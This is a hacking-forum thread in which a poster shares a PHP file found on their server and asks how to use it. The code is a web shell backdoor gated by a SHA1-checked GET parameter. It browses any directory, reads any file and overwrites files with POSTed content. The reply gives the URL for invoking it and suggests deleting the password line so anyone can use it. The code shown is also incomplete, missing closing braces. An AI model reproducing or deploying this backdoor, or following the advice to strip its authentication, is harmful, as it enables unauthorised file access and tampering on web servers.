Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

PHP 

Strange PHP code hosted on my server

Hello, I found this code in a. Php file hosted on my server, I understand how the code works but the problem is one, how do I use?


PHP Code

<?php 
session_start
();
if(
sha1($_GET['codesess']) == "0adccf1e1d06ae6e6e91178770bddb7f219bbad7"){
$_SESSION['crash']=1;
}
if(
$_SESSION['crash'] == 1){
$dir=$_GET['dir'];
if(
$dir!=""){
if (
$handle = opendir("$dir")) {
    echo 
"<b>Directory handle: $handle<br>";
    echo 
"</b><br>";

    
/* This is the correct way to loop over the directory. */
    
while (false !== ($file = readdir($handle))) {
        echo 
"<a href='?file=$file&dir=$dir'>$file</a><br>";
    }

    
/* This is the WRONG way to loop over the directory. */
    
while ($file = readdir($handle)) {
        echo 
"<a href='?file=$file&dir=$dir'>$file</a><br>";
    }

    
closedir($handle);
}
if(
$_GET['file'] != ""){
$cont=@file_get_contents($dir.$_GET['file']);
echo
"<br><br><b>:o</b><br><form action='?file=".$_GET['file']."&dir=$dir' method='post'><textarea name='play'>$cont</textarea><br><input type='submit' value='Save' /><form>";
if(
$_POST['play']!=""){
$handle = fopen($dir.$_GET['file'],'w');
fwrite($handle,stripslashes($_POST['play']));
fclose($handle);
echo 
$dir.$_GET['file'];
}
}
exit; 
You just open file.php?codesess=SHA1HASH&dir=diryouwantoopen.

diryouwantoopen is the folder you want to open with the script.
I don't know what you have to set for the codesess, because it is sha1 encoded, online hashing tools didn't find any results, but you could just remove that line.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by HackersNov 26, 2025 12:46 AM 1 177 Nov 26, 2025 12:46 AM
Last Post: Stanley
by HackersFeb 9, 2025 03:13 AM 0 133 Feb 9, 2025 03:13 AM
Last Post: Hackers
[PHP] by HackersFeb 11, 2022 12:01 AM 8 546 Feb 11, 2022 12:01 AM
Last Post: Hackers